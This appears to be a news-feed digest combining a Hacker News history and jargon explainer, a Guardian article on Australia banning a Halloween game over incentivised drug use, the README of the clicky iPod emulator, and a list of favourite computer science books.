
    References

    Blueprint for how to be self sufficient in a 1/4 acre backyard

    Hacker News
    www.reddit.com
    2026-08-23 11:10:40
    Comments...
    Original Article

    You've been blocked by network security.

    To continue, log in to your Reddit account or use your developer token

    If you think you've been blocked by mistake, file a ticket below and we'll look into it.

    Hacker News in Uncompromised Detail

    Hacker News
    vale.rocks
    2026-08-23 11:10:23
    Comments...
    Original Article

    Hacker News is a popular news aggregator and web forum created and run by United States-based venture capital firm Y Combinator. The site officially launched on the 20 th of February 2007 as ‘Startup News’. The idea of the site was for potential founders to establish themselves and become known to Y Combinator before they applied for funding and to bring back the atmosphere of Reddit (a Y Combinator-funded startup) when it first launched and before it became popular.

    The site was also partially a chance for Paul Graham to put to use the Arc language , a dialect of Lisp which he co-created with Robert Morris. A news app, known as news.arc was created to demonstrate the language and was used as the basis for Hacker News. News.arc does not use a conventional database, instead writing content as files into directories . In 2024, Hacker News moved from using Arc-on-Racket and instead embraced Steel Bank Common Lisp ( SBCL ) via a compiler dubbed Clarc.

    In August 2007, the site rebranded from Startup News to Hacker News , as we know it today. This rebrand saw the expansion of topics from just startups to also including more general ‘hacker’ topics. ‘Hacker’ as used in the site’s name refers not to people who maliciously exploit systems, but to people who tinker with and explore technology, possibly using it in ways unintended by the creators – The Conscience of a Hacker (The Hacker Manifesto) -style.

    Terms & Jargon

    There is a decent amount of jargon on Hacker News. Many are standard forum colloquialisms, though there are also many phrases bespoke to the site.

    Upvote
    A positive vote for a post or comment.
    Downvote
    A negative vote for a comment. Posts cannot be downvoted.
    Karma
    A point value assigned to users based on the number of upvotes they’ve received minus the number of downvotes they’ve received (and some anti-abuse shenanigans). It is possible that stories also have a slightly different karma system . A leaderboard of the users with the most karma can be found at https://news.ycombinator.com/leaders
    Parent
    The item above the current item. Depending on context, it can reference the above post, comment, or user.
    Grandparent
    The parent of a parent.
    OP
    Short for ‘Original Poster’. Usually refers to the person who posted a thread, though is sometimes also used to refer to the parent poster of a commenter.
    Hug of Death
    When a linked site falls offline due to the sudden influx of users from Hacker News. People will often follow up when a site has been hugged to death with an archive of the content.
    Flamewar
    When conduct moves on from critique and discussion into attacks and anger.
    Flamebait
    Similiar in usage to the term ‘ragebait’. To flamebait is to intentionally stir angry retorts and unconstructive arguments rather than thoughtful discussion.
    Shadowban/Hellban
    To ban a user without informing them they have been banned, such that their content is just not shown (or is shown less).
    news.yc
    Another way of referring to Hacker News, which references the site’s domain name of `news.ycombinator.com`. It is also a reference to ‘news.arc’. It is less commonly used now but was a popular way to refer to the site in its earlier days.

    Voting

    Posts can be upvoted by any user of the site. If a user submits a link post with the same link as another recent post, their post is not submitted separately and instead they’re counted as an upvote of the earlier post. Comments can be upvoted by any user, but only downvoted by users with over 500 karma. The lowest score a comment can have is -4, 1 and comments cannot be downvoted more than 24 hours after their publication. Users also cannot downvote a comment if it is a direct reply to them. When a comment has a score in the negative, it becomes desaturated. To avoid flamewars, the display of comments is delayed more the more nested they become .

    Users with more than 30 karma can flag submissions, which has the effect of a more strongly weighted downvote. Flagging is intended to be used for cases where a submission breaks the site guidelines . Flagging has impact even before an item is noted in the interface as being flagged .

    Submissions marked as ‘dead’ have been designated as such by either Hacker News’ heuristics or by a moderator. They cannot be seen unless showdead is set to true on the viewing user’s account. In September 2015 it was made so that users with more than 30 karma can vouch for dead submissions, and enough vouches will unkill it .

    Submissions can be simultaneously both flagged and dead. Posts do not show as ‘[deleted]’ if flagged or killed. They only show as deleted if the post author removed it or if they asked a Hacker News moderator to remove it.

    Posting

    Any register user can post on Hacker News, provided that moderation actions haven’t been taken against them. The site has two main types of posts: link posts and text posts. Posts with a link in the link fields are considered link posts, and everything else is considered a text post, even if links are included in the post body.

    The most common style of text post is Ask HN , for asking Hacker News users questions. A format commonly used for both link and text posts is Show HN , for users showing off something they have created. Polls can also be created by users with over 500 karma, though people very rarely use the feature. It isn’t an official content type, but ‘Tell HN’ is often used for public service announcement-style posts.

    Post titles have a maximum length of 80 characters, and the guidelines outline they shouldn’t be editorialised unless it is misleading or linkbait. When submitting videos and PDF s, their title should be appended with ‘[video]’ or ‘[pdf]’, respectively. Titles for posts linking to content over a year old should also be appended with their publication year, for example ‘Big News (2020)’. If a user fails to do this when submitting, a site moderator will usually change it for them.

    Submissions can be edited by the post author within two hours of posting, but after that time they are unable to be changed. Submissions can be deleted within those two hours, but only if there have been no child comments to avoid discussion from being deleted. Submissions can be replied to within a fortnight of their publication but upvoted at any time.

    Ranking

    The Hacker News front page – especially a top spot – is a fairly major driver of traffic and discussion. Vale.Rocks has found itself featured there multiple times. The core ranking function ( frontpage-rank ) from the arc.news codebase was written as:

    (= gravity* 1.8 timebase* 120 front-threshold* 1
       nourl-factor* .4 lightweight-factor* .3 )
    
    (def frontpage-rank (s (o scorefn realscore) (o gravity gravity*))
      (* (/ (let base (- (scorefn s) 1)
              (if (> base 0) (expt base .8) base))
            (expt (/ (+ (item-age s) timebase*) 60) gravity))
         (if (no (in s!type 'story 'poll))  .5
             (blank s!url)                  nourl-factor*
             (lightweight s)                (min lightweight-factor*
                                                 (contro-factor s))
                                            (contro-factor s))))
    

    If P P = points and T T = time in hours, this works out to:

    Rank = ( P 1 ) 0.8 ( T + 2 ) 1.8 \text{Rank} = \frac{(P - 1)^{0.8}}{(T + 2)^{1.8}}

    There are also further complexities in that original code to handle submissions with more nuance, but the main thing is that posts are presented based on the points they receive with a diminishing returns curve to avoid long-term domination of the front page. Text-only posts that do not have a URL are explicitly penalised. Additionally, tutorials are downranked by moderators , and there have historically been certain terms which have penalties associated with them .

    The algorithm shown above is a very simple approach, and the ranking system has become more complex with time to avoid gaming of the system. There is voting manipulation such that voting rings are thwarted. Sharing a link with other people or using alt accounts generally doesn’t work, nor does telling people to go to the newest page and upvote from there as a bypass. The exact details of Hacker News’ protection heuristics are not public, as making them so would allow them to be bypassed trivially, but they do seem to be effective.

    In addition to the standard front page, there is also a classic ranked page. It uses the same ranking algorithm as the front page, though only factors in votes from users who registered before the 13 th of February, 2008. It was originally announced as being ‘ ranked using only votes from accounts over a year old ’. There are also a number of filtered lists for different post types .

    Hacker News is editorially independent from Y Combinator and has a policy of moderating ‘less, not more, when YC or a YC startup is the topic.’. Y Combinator does, however, advertise batch applications in the site’s footer. Y Combinator-funded companies have the ability to post job advertisements on Hacker News, which appear at position 6 on the front page and have a fixed decay, and may also post Launch HN posts.

    There is a degree of randomness to what ends up on the front page. A post can be submitted at one time and see no activity, then submitted again at another time and go to #1 on the front page. A post can even be submitted multiple times and not see any success. Hacker News attempts to address this in a few ways to give links multiple chances at success. Articles aren’t considered duplicates if they haven’t seen significant attention and users are able to submit the same link multiple times. There is also the second-chance pool and invitations to resubmit posts.

    Oftentimes Hacker News submissions will be overlooked, even if they are extremely good and of high quality. Moderators often notice these links and will frequently give them another chance. Users can also email the moderators to request that a submission be given a second-chance if one really deserves it.

    When a submission is given a second chance, its post date is updated, and so are the post dates of any comments. Originally, comment post dates weren’t changed , but that led to confusion from users as to how a comment was commented before a post was posted, but the updated approach of bringing forward comment timestamps also confuses users. Users are sent an email inviting them to repost their submission if it is too old to be placed in the second-chance pool.

    Submissions in the second-chance pool or those which have been invited for resubmission are added directly to the front page for a brief period, giving them great visibility and often leading to them remaining there for long periods. Posts included in the second-chance pool are often referred to as having been ‘re-upped’.

    Moderation

    Hacker News was originally moderated by Paul Graham, one of Y Combinator’s co-founders and the creator of Hacker News. At the end of March 2014, Graham stepped down from day-to-day operations at Y Combinator.

    In his place as moderator, he announced Daniel Gackle would be taking over as primary moderator of the site. In taking on the role, he retired his account ‘gruseom’ in favour of ‘dang’. 2 Scott Bell publicly joined Hacker News as a moderator in July 2016 , though he had been moderating privately before that time. He ceased working on Hacker News in 2019 . Tom Howard was publicly announced as a moderator at the start of April, 2025 . As dang changed accounts when switching to a moderator position, Tom Howard dropped his ‘tomhoward’ account for ‘tomhow’.

    Based upon previous cases, moderators typically act privately before being publicly announced, and their departures are often made without publication.

    In addition to moderating Hacker News, it is commonly alluded to that Hacker News’ full-time moderators also develop the site and maintain the site’s anti-spam and anti-rank-gaming measures. Previously, Kevin Hale and Nick Sivo have been noted as working on the site . It is also suggested by moderators’ use of plural terms that there are more moderators than are publicly known, though they are not full-time.

    Moderation actions take a variety of forms. Shadowbanning is one method and involves a user or domain being flagged such that any submissions made are instantly marked as ‘[dead]’. These submissions can be vouched for, however.

    By inspecting the source code of news.arc, a number of unexposed moderation functions which still exist on the site can be identified. Many have been removed, but many still exist. Those which are live at time of publication are:

    • /newsadmin - Configuration of caching, comment-kill/ignore regexes, lightweights list, kill-all-by-user, and banned IPs.
    • /badips - IP addresses with dead submissions and one-click ban toggles
    • /badlogins - Last 100 failed login attempts (time, IP, and attempted username)
    • /goodlogins - Last 100 successful logins (time, IP, username)
    • /killed - All dead/killed items (stories and comments)
    • /spurned - Throttled/blocked IPs. If not an admin, it returns a blank page instead of requesting login like the other pages.

    Name Colours

    Under specific conditions, users’ names on Hacker News are displayed with specific colours. If a user’s account is under two weeks old, they are considered a ‘noob’, and their name will appear green on any posts or comments they make. This green colour will persist on those posts and comments even after their account ages past two weeks. A similar feature was trialled for domains in 2015, though the community disliked it and it was promptly removed . Alumni of Y Combinator have orange names, though the orange colour is only shown to other Y Combinator alumni.

    In February 2009, there was an experiment where users who had at least 25 comments on their account and an average score of at least 3.5 over their 50 most recent comments would have orangey-grey names. This was later removed.

    Themes

    Following the death of significant individuals, the Hacker News navigation bar gains a thin black top border to commemorate them. The black bar was first used in June 2009 upon the passing of Rajeev Motwani.

    On Christmas day, Hacker News takes a festive colour scheme. The usually orange navigation bar becomes a deep red, and the usually grey numbers indicating a post’s ranking alternate between red and green.

    Users with karma exceeding 250 can change the colour of Hacker News’ top bar from the default of #ff6600 to another hex code of their choosing. Alpha values are not supported, and attempting to input an invalid value resets the colour back to the default. This feature was added in early 2008 as a thanks to people who contribute. A list of top bar colours recently chosen by users is made public at https://news.ycombinator.com/topcolors .

    Hacker News has had search functionality provided by a few organisations. The first official support functionality was launched in mid-2011 and provided by Octopart as a test of their document-oriented datastore with search, ThriftDB, which is now defunct. Paul Graham had mentioned Octopart was working on a search implementation as far back as July 2007 . This iteration of search was available as HNS earch at www.hnsearch.com and was shut down in March 2014 .

    Before the ThriftDB functionality, the most popular search solution was SearchYC, which launched in 2007. It stopped operating shortly after the announcement of the official search. Users were sad to see it go, as SearchYC was extremely well-loved and feature-rich.

    Agolia, which was in Y Combinator’s Winter 2014 batch, launched a replacement to ThriftDB search in early 2014. Soon after they made further updates to handle filtering, improve the UI, and more. During this period, it was more of a full Hacker News client with a then-modern UI, rather than just a search tool.

    There were major overhauls at the start of 2015 , most notably vastly simplifying the interface. In late 2023, the Agolia search system received a significant update improving performance and deployment, as well as search filtering options. In 2025, the entire Agolia search was fully rewritten by Jeff Slentz , and the original codebase was subsequently archived in February 2026.

    Another significant search service for Hacker News was Trieve HN Discovery by Y Combinator winter batch 2024 company, Trieve. Their search system provided many filters and features, including many AI-enabled features. Trieve was acquired by Mintlify in mid-2025, and their Hacker News search service was closed as a result. It is likely the monthly cost of $6835.39 was also a contributing factor to the closing. It was available at hn.trieve.ai .

    As part of research prior to releasing their search service, Trieve wrote a history of Hacker News Search , which covers more services which I have omitted here.

    API

    Being Hacker News and a popular location for a variety of software-developing professionals, the wish to programmatically interact with the site is to be expected. The main benefit of an API being the ability to create custom front-ends. So many front-ends have been created – especially ones which aggregate Hacker News with other similar sites, such as Lobsters , or which are native to specific platforms.

    Since the site’s inception people had been scraping Hacker News for their needs, which is a brittle approach. When Y Combinator looked to make interface improvements and move to a new rendering engine, they realised that it would involve changes to the site’s HTML and break people’s scrapers. To address this, they launched a proper Firebase API in early October 2014 with a three-week grace period to allow developers to migrate. This API remains current and functional as of initial publication.

    Alongside HNS earch’s launch was the launch of the HNS earch API and a contest to create something using it , with the best entry as voted by the community receiving a widescreen Dell monitor as a prize. There were 27 submissions, and the winner was HN Trends by Jerod Santo .

    The HNS earch API was succeeded by the Agolia equivalent for handling searches. Many other third-party Hacker News search solutions have also exposed their own API s, though adoption has been lower than the Firebase API and official search API offering.

    Demographics

    Hacker News intentionally doesn’t track users too strictly, so the available data is limited. Unsurprisingly, Hacker News is a very United States-oriented website. The below ranges consider if users are logged in, with the United States’ representation dropping if looking at all users. These figures seem reasonable considering the analytics of this site , which has seen significant Hacker News traffic.

    Region/Country Share Range Notes
    United States of America 32% - 56% Includes Silicon Valley; <45% (or as low as 33%) for total users.
    Silicon Valley 5% - 14% Part of United States total; <10% if measuring total users only.
    Europe 28% - 35% Total for the region.
    United Kingdom 5% - 8% Share of European total.
    Germany 4% - 7% Share of European total.
    France 1% - 3% Share of European total.
    Netherlands 2% Share of European total.
    Switzerland 1% Share of European total.
    Canada / Australia / New Zealand 7% - 8%
    India 2% - 7%
    China 0.5% - 3% Includes Hong Kong.
    Reported stats as of early 2018. Credit: Dang .

    As of 2020, Dang stated that Hacker News’ active user count had been ever uptrending, though with great swings, for the previous decade.

    Notable Posts

    In 2007, Drew Houston made a post on Hacker News announcing Dropbox , a Y Combinator summer 2007 batch start-up which was launching. In a now infamous comment , user BrandonM replied with issues he had identified with the startup. The ‘Dropbox Comment’ has become a term to refer to technical users dismissing complex products and multi-billion-dollar ideas as unnecessary or trivial, as well as a symbol of Hacker News’ cynicism. dang provided further discussion of the comment in a 2021 comment .

    Under a thread about Paul Graham’s then-recent essay ‘The Equity Equation’, user sanj replied to a comment by user cperciva with, ‘Did you win the Putnam?’, a reference to a prestigious mathematics competition , to which cperciva in turn replied, ‘Yes, I did.’. Paul Graham chimed in to say, ‘That has to be the comeback of all time.’.

    My own Hacker News claim to fame is that I successfully made a post on Hacker News that got negative points . This is notable, as top-level posts cannot usually be downvoted. As aforementioned, only comments can be downvoted and the option is restricted behind a karma threshold. Apparently it was due to the exploitation of a race condition when rapidly upvoting and unvoting.

    Miscellaneous

    The site technically went live as early as October 9 th , 2006 , though this was in a private state only for people related to Y Combinator or known to Paul Graham. Activity quickly petered off after the private launch and didn’t pick back up until the site launched publicly. Despite the site being live privately before the public release, the ‘Go back a day’ link on the archival front page viewer doesn’t appear on the page for the 18 th of February 2007, making previous days inaccessible from the interface and requiring the editing of the day query parameter. If you attempt to view the front page before Hacker News launched , you get a cheeky ‘HN didn’t exist yet.’.

    Starting in 2015, highlights from Hacker News would be posted on the Y Combinator blog . Though the series was never officially announced to be discontinued, the last post was published in December 2018 .

    As Hacker News is not obsessed with extracting value from its users, there are ‘noprocrast’, ‘maxvisit’, and ‘minaway’ values which can be set by users on their accounts to restrict their usage of the site and to help them maintain healthy relationships with it. noprocrast (short for ‘no procrastinate’) toggles the limits, maxvisit sets the maximum amount of time you can browse before being blocked from the site, and minaway sets the amount of time the block lasts before it lapses. These blocks are trivial to bypass but help in setting limits.

    ‘delay’ is another value that can be set by users on their profile, and it defines the amount of time before a comment goes live, giving users time to edit them before they’re seen. It can be set to a maximum of ten minutes.

    1. There initially was no lower bound for comment score, but it was set to -8 in February 2009 before later being revised to its current limit.

    2. ‘dang’ being derived from Daniel Gackle (pronounced Gackley), not the exclamation or Asian surname.

    Illicit deeds have just gotten a new Halloween video game banned in Australia – and it’s not because of the violence

    Guardian
    www.theguardian.com
    2026-08-23 11:00:36
    Academics – and a former director of Australia’s Classification Board – say Halloween: The Game’s ban due to ‘incentivised drug use’ highlights an incoherent set of standardsGet our breaking news email, free app or daily news podcastHalloween’s Michael Myers is one of film’s most feared boogeymen, r...
    Original Article

    H alloween’s Michael Myers is one of film’s most feared boogeymen, responsible for some of the most brutal on-screen deaths in horror cinema. US video game developer Illfonic looked to reproduce those terrors in its upcoming title Halloween: The Game, with gruesome killings a major focus of the gameplay: for instance, you can stomp another player’s head through a toilet seat, or fry their brain by throwing them through a television screen.

    But Australians will not be able to play Halloween: The Game, because it has been refused classification by the Classification Board, which means it is banned from sale within the country. And it’s not because of the violence or murders.

    In the game, players can smoke marijuana to see the location of Michael Myers in order to avoid being killed – a use of drugs that Australia’s Classification Board has deemed a “gameplay advantage”. Under the Guidelines for the Classification of Computer Games 2023, video games are refused classification if they contain “illicit or proscribed drug use related to incentives or rewards”.

    “Halloween: The Game contains illicit drug use that is linked to an incentive or reward, in that use of the drug provides a gameplay advantage to the player. It is on this basis that the game has been refused classification, as required under the Code and Guidelines,” the board wrote in a recent statement .

    In the wake of the decision, Illfonic’s social media accounts have been flooded with comments from irate Australians. An FoI officer said the Classification Board had received more than 500 complaints in relation to Halloween: The Game.

    The uproar has resurfaced longstanding grievances about how games are classified in Australia compared to film and television, and the inability for adults to access games widely available in other parts of the world.

    Claire Henry, associate professor in screen at Flinders University and an Australian Research Council Decra fellow, says the board enforced the guidelines correctly but the controversy around the decision highlights “a mismatch between the community standards and the classification standards”.

    The decision on Halloween: The Game follows several high-profile cases that have seen games such as State of Decay , Wasteland 3 and Saints Row IV banned in Australia for the same reason: incentivised drug use. All of these games were later reclassified after censoring aspects of their gameplay.

    Saints Row IV still
    Saints Row IV. The game was initially refused classification in Australia, and could not be released. The game was later released after a particular mission was removed. Photograph: Deep Silver

    Dan Golding, professor of media at Monash University, says that two assumptions have been baked into the classifying of games in Australia. “Games have always been regulated based on the assumption there is something more impactful about doing , in a game, than there is about watching, in a film,” he says.

    “A second assumption is that games are for kids – or at least the regulation system exists to protect kids.”

    Ron Curry has battled these assumptions in skirmishes with the Classification Board over his nearly two decades as CEO of the Interactive Games & Entertainment Association (IGEA). Alongside a dogged public campaign and a cadre of journalists, the IGEA helped introduce an R18+ category for video games in 2013, the absence of which had stopped several games being released in Australia before.

    After the R18+ classification was brought in, Curry noted the job was not finished – the trade-off for introducing the category was that video games were still seen as a distinct form of media, with greater risks attached.

    “It still very clearly said games are different to all other media, it’s more dangerous, and we need to treat it more carefully,” says Curry.

    Interactivity – the doing Golding refers to – has always underlined this belief. The guidelines for games, introduced alongside the R18+ rating, state that “as a general rule computer games may have a higher impact than similarly themed depictions of the classifiable elements in film, and therefore greater potential for harm or detriment, particularly to minors”.

    Curry points to the Australian government’s own research that has suggested interactivity may not increase the impact of video games, particularly in regards to violent content, and there has been limited research on interactivity around drug use, sex, gambling and nudity.

    Margaret Anderson, a former director of the Classification Board, says the huge focus on interactivity in games drove her nuts during her seven years on the board. She points to decades of research showing games are predominantly played by adults.

    skip past newsletter promotion

    “Can we stop pretending that the way we classify games in this country, in 2026, is appropriate for adults? Because it’s not,” Anderson says.

    Academics have shown the current classification system isn’t just preventing access to games, however. Often, the standards are incoherent.

    Marcus Carter, founder of the Sydney Games and Play Lab at the University of Sydney, recently led a study – yet to be peer reviewed – that showed inconsistencies across the classifications of mobile games in the Apple App Store and Google Play Store. In 18 separate cases across the 31 top-grossing mobile games, four different age ratings were included for a single game.

    Carter describes the current system as “not fit for purpose”.

    The worry, for experts like Carter and Henry, is that the inconsistent standards have a negative impact on how the community views classifications and age ratings.

    “Inconsistencies can kind of undermine public confidence in the classification system,” says Henry. “It is a good system in many ways, and we’ve got to maintain that trust.”

    The Australian government is undertaking a review of the classification guidelines with the aim of delivering a simpler, more consistent approach across films, games and publications. Among a raft of proposals – including introducing a PG13 rating and adjusting the MA15+ classification to MA16+ – one idea is to “remove the harsher judgement of video games’ interactivity”. IGEA and Henry have submitted to the review.

    In a statement to the Guardian, a spokesperson from the Department of Infrastructure, Transport, Regional Development, Communications, Sport and the Arts said: “The Australian Government is working to modernise the National Classification Scheme to ensure it remains aligned with community standards and helps Australians make informed decisions about what they read, watch and play. This work is ongoing.”

    Illfonic has shown no sign it will censor Halloween: The Game and have its classification reviewed in Australia. Illfonic and the game’s co-publisher Gun Interactive did not respond to requests for comment.

    Though the instances of Australia banning games has been a rare occurrence, one future decision looms large: how will Grand Theft Auto VI, the latest instalment in a franchise packed with sex, drugs and violence , be rated?

    For Anderson, the way forward is simple.

    “The foundational pillar of classification in Australia is that adults should be able to read, hear, see, play what they want,” she says. “Can we please respect that fact?”

    clicky: A clickwheel iPod emulator

    Lobsters
    github.com
    2026-08-23 10:46:25
    Comments...
    Original Article

    clicky logo

    A clickwheel iPod emulator.


    Current focus: Fixing RetailOS emulation bugs on an emulated iPod 4G (Grayscale) .

    Here are some clips:

    This project is not ready for general use yet!

    clicky is still in it's early stages, and there hasn't been much effort put into making it easy to use.

    That said, if you're a cool hackerman who can jam with the console cowboys in cyberspace , check out the QUICKSTART.md and/or DEVGUIDE.md for info on how to build clicky and start running iPod software!

    Join the Developer Discord! chat on Discord

    Call for Contributors!

    Up until now, clicky has been a one-man hobby project, and while it's been a great way to kill time during my impromptu COVID-induced "staycation" that spanned the months between University graduation and starting full time work, I won't have too much time to dedicate to clicky moving forwards.

    As such, I'm hoping to find a couple folks out there who might be interested in pushing this project forwards!

    I've tried to keep the project as clean and well organized as possible, with plenty of inline comments and documentation. I've also included detailed developer-focused documentation under the docs folder.

    Additionally, I've kept collected a fairly extensive corpus of iPod documentation / test software which is included in-tree under the resources folder.

    If you're interested in emulating an iconic piece of early 2000s pop-culture, don't hesitate to get in touch!


    Are you someone with strong reverse engineering experience and wants to help preserve an iconic piece of early 2000s pop-culture? If so, read on!

    While I expect that I'll be able to get Rockbox and iPodLinux up and running, I worry that getting Apple's RetailOS working may prove difficult. While lots of reverse-engineering work has already been done by the iPodLinux and Rockbox projects back around 2007, it seems that there are still plenty of registers / memory blocks whose purpose is unknown. clicky can already boot into RetailOS, and I'm noticing lots of accesses to undocumented parts of the PP5020 memory space.

    Fortunately, now that we're living in 2020 (i.e: the future), we have access to newer, better tools that can aid in reverse-engineering the iPod. Free and powerful reverse engineering tools (like Gridra ), and emulation software ( clicky itself) aught to make it easier to inspect and observe the state of the RetailOS binaries while they're being run, and gain insight into what the hardware is supposed to do.

    I've got some reverse engineering experience, but truth be told, it's not really my forte, so if you're interested in helping out, please get in touch!


    Emulated Hardware

    Why these models?

    The 4g uses the same/similar SOC as some of the later generation models (PP5020), while using a simpler (grayscale) display. This should make it easier to get display emulation up and running, leaving more time to implement other devices.

    The 5g is the first iPod model to support iPod Games , which are an interesting part of gaming history which have never been preserved!

    Theoretically, it wouldn't be too difficult to support all the different generations of iPod models (since they all share roughly the same hardware).

    Roadmap

    Note: This roadmap was written fairly early in the project's development, and hasn't been updated in a while. It's still mostly accurate, though in hindsight, it seems to under/overestimate how complicated certain features are to implement.

    The plan is to implement devices and hardware "just in time" throughout development, instead of attempting to one-shot the entire SoC right off the bat. As such, the idea is to gradually test more and more complex software in the emulator, implementing more and more hardware as required.

    Stage 1 will be to run some basic bootloader software, and get a feel for the hardware:

    • Execute something really basic, such as https://github.com/iPodLinux/ipodloader/
      • This rough-little bit of software is simple enough to step through and understand fully, making it a great launching off point for the project.
      • It touches quite a bit of iPod-specific hardware (e.g: Timers, Buttons, LCD)
      • Goals:
        • Find my footing with the ARM7TDMI CPU, and the iPod's funky dual-processor architecture
        • Get more familiar with the ARM7TDMI assembler and compiler toolchain
        • Set up project boilerplate
          • Memory interconnect framework
          • LCD output, button input
          • basic CLI
        • Scaffold basic system architecture (step through CPU, system memory map, interact with devices)
    • Get through the more complex https://github.com/iPodLinux/ipodloader2/
      • Touches even more iPod-specific hardware (ATA-2)
      • Seems to do more in-depth system init (i.e: interrupt handling, memory mapping)
      • Goals:
        • Expand on the system architecture + implemented devices

    Stage 2 will be to running some popular open-source iPod alternative firmwares, such as Rockbox and iPodLinux. Since these projects are open source, is should be possible to trace through the code, making implementing devices / debugging issues a lot easier.

    • Boot into Rockbox
      • A gargantuan task, one which will involve implementing a lot of misc. hardware
      • Goals:
        • Boot an actual OS on the iPod
    • Boot into iPod Linux
      • A bigger beast than Rockbox, and likely much more difficult to step through and debug
      • Goals:
        • Boot another actual OS on the iPod
        • Fill in the gaps between the hardware Rockbox uses, and the hardware iPod Linux uses

    Stage 3 will involve running closed-source Apple software, notably, the original iPod RetailOS:

    • Boot / pass the Apple Diagnostics program
      • If you press and hold the Select+Prev while an iPod is booting up, a diagnostics program built directly into the Flash ROM is executed!
      • This would likely be the first closed source software the emulator runs.
      • Makes for a great playground to poke at the various hardware features that exist on the iPod, without worrying too much about an OS scheduler getting in the way.
      • Goals:
        • Run some closed source software
      • Progress:
        • Boot into diagnostics
        • 5 IN 1
        • RESET
        • KEY
        • CHGR CURR
        • REMOTE
        • HP STATUS
        • SLEEP
        • BATT A2D
        • A2D STAT
        • FIREWIRE
        • HDD R/W
        • SMRT DAT
        • HDD SCAN
        • READ SN
        • DISKMODE
        • WHEEL
        • CONTRAST
        • AUDIO
        • STATUS
        • DRV TEMP
        • IRAM TEST
    • Boot into RetailOS
      • i.e: the big money goal
      • Hopefully, by getting two other OSs up and running, RetailOS will "just work"
      • Realistically, those Apple engineers probably did some fancy/janky stuff, and things will be very broken
      • Goals:
        • Get an actual working emulated iPod up and running!
        • Play some authentic Brick Breaker!

    Once things seem stable, it shouldn't be too difficult to get the iPod 5g up and running, since it's mostly the same hardware, mod the color screen.

    Unknowns that might make things tricky

    • Funky cache effects
      • I really don't want to deal with implementing proper caching if I don't have to. I'm gonna cross my fingers, and hope that having both CPUs see memory writes at the same time will be fiiiiine
    • Funky iPod hardware that hasn't been reverse engineered
      • ...this will suck, and unfortunately, It's probably something I'll encounter once I start messing around with RetailOS.

    Things probably best left for later

    • USB
      • This seems like a huge rabbit hole of complexity, and is something that probably isn't critical to the iPod's core functions. Stubbing things out will probably be fine...
    • Audio
      • inb4 "but it's an iPod, it's literally an audio player "
      • yeah, I know, but Audio is hard and finicky to get right, so I'll be leaving it for waaaaaay later

    Fluff: Why emulate the iPod?

    'cause it's a neat technical challenge! 😄

    Compared to my last big emulation project ( ANESE , a NES emulator that automatically maps out NES games ), the iPod presents a totally different set of technical challenges to overcome.

    First of all, the iPod is a fairly modern system. Unlike the esoteric and custom-made chips used in many game consoles, the iPod uses many off-the-shelf commodity hardware and technologies. As such, this project should be a good way to explore and learn more about the low level details of the ARM architecture, I2S, I2C, USB, IDE HDDs, etc...

    Second of all, the iPod isn't very well documented! While this'll probably end up being more annoying than exciting in the long run, I'm excited to do my own research, discover new information, and consolidate information on the iPod myself (as opposed to already having a well organized and complete reference at my disposal *cough* the nesdev wiki *cough*). As it turns out, there's already quite a amount of documentation about the iPod that's floating around (thanks to the iPodLinux and Rockbox projects), but I'm sure there will still be plenty of stuff left for me to discover. Time to finally learn how to use Ghidra I guess!

    Lastly, the iPod is a system that's never been emulated before! That means there usually won't be any sort of "escape hatch" when I get stuck, since there's no one else's code I can peek at. Whatever challenges I run in to will be challenges I'm going to have to solve myself! How exciting!

    ...there is one last reason I want to emulate the iPod though:

    It's got Brick Breaker!

    ooooooh Brick Breaker baybeeeeee! This game has won game of the year, I don't know how many times!

    But seriously, aside from brick breaker, there were actually a whole bunch of iPod Games released for late-gen iPod models ~2006. While these games aren't necessarily masterpieces , they're still pretty neat, and aught to be preserved.

    In fact, my initial inspiration for starting this project was actually hearing about these old games, and how no one has ever looked into preserving them. While getting these games working will probably take quite a while, it's a neat long-term goal to aim for.

    Thanks and Acknowledgments

    This project would be dead in the waters without these folks and projects:

    My favorite Computer Science books, and why

    Lobsters
    backtracking.github.io
    2026-08-23 10:45:46
    Comments...
    Original Article

    The Art of Computer Programming . Donald E. Knuth. Addison-Wesley, 1997/2011.

    Often cited, but rarely read. It’s really a shame, for these books are incredibly rich. Numerous jewels are hidden everywhere, sometimes inside exercise solutions (and there are many exercises). It is dense, obviously, and it may take a lot of time to digest a single page. But you will never waste your time doing this. Those who stop at the presence of assembly code are missing the point.


    Algorithms, 4th Edition. Robert Sedgewick, Kevin Wayne. Addison-Wesley, 2011.

    For me, the best book on algorithms. Beautiful figures and numerous examples. Crystal clear Java code. (The choice of Java for such a book is convincing.) The companion web site provides code, data, and lecture slides.

    Note: this is the 4th edition; this is important.


    The Practice of Programming. Brian W. Kernighan, Rob Pike. Addison-Wesley, 1999.

    This book is worth buying, even if only for the last three pages, where the programming rules discussed in the book are collected. We should have the students learn these rules by heart; we should apply these rules ourselves. This book provides an outstanding insight on programming.

    There is an implicit message: the choice of programming language is not as important as one may think.


    Computer Systems: A Programmer’s Perspective. Randal E. Bryant, David R. O’Hallaron. Pearson, 2011.

    Everything programmers should know about hardware, system, compiler, etc., to improve their skills. Likely to be the only book where a whole chapter is devoted to linking.

    Written by programmers, for programmers.


    Purely Functional Data Structures. Chris Okasaki. Cambridge University Press, 1998.

    First, a book that beautifully explains what are purely functional data structures, their interest, their implementation, and their complexity analysis, notably in presence of amortization and lazy evaluation. Tons of data structures, some being revisited with a lot of elegance. An example: binomial heaps. Crystal clear SML code, explained line by line.


    Programming Pearls. Jon Bentley. Addison-Wesley, 1986.

    Still relevant, more than thirty years later. Plenty of good advice. Perfect style, and perfect examples. Some chapters I liked a lot: Writing Correct Programs , The Back of the Envelope , Sorting , and Heaps .

    As written in the preface: ``This book is written for programmers’’.


    Hacker’s Delight. Henry S. Warren. Addison-Wesley, 2003.

    Tons of arithmetic hacks, all delightful. Some are for fun only (and thus worth reading), but many are genuinely useful. For instance, this book tells you what your compiler is doing when your code divides by a constant.

    The web site does not exist anymore, but is archived here .


    Algorithms on Strings, Trees, and Sequences. Dan Gusfield. Cambridge University Press, 1997.

    Mostly a book on text algorithms, with numerous algorithms beautifully explained (and proved!). There is a whole part on suffix trees, and notably an excellent explanation of Ukkonen algorithm (notoriously difficult to understand and to code). Also contains many applications of these algorithms.


    The Elements of Computing Systems. Noam Nisan, Shimon Schocken. MIT Press, 2008.

    The best way to understand everything is probably to build everything by oneself. That’s what is proposed in this book, where the reader is invited to build a machine, an assembler, a compiler, and finally an operating system. (Interpreters are provided.) Even if you do not undertake such a construction, the book is worth reading, preferably in one shot.

    Companion web site: www.nand2tetris.org


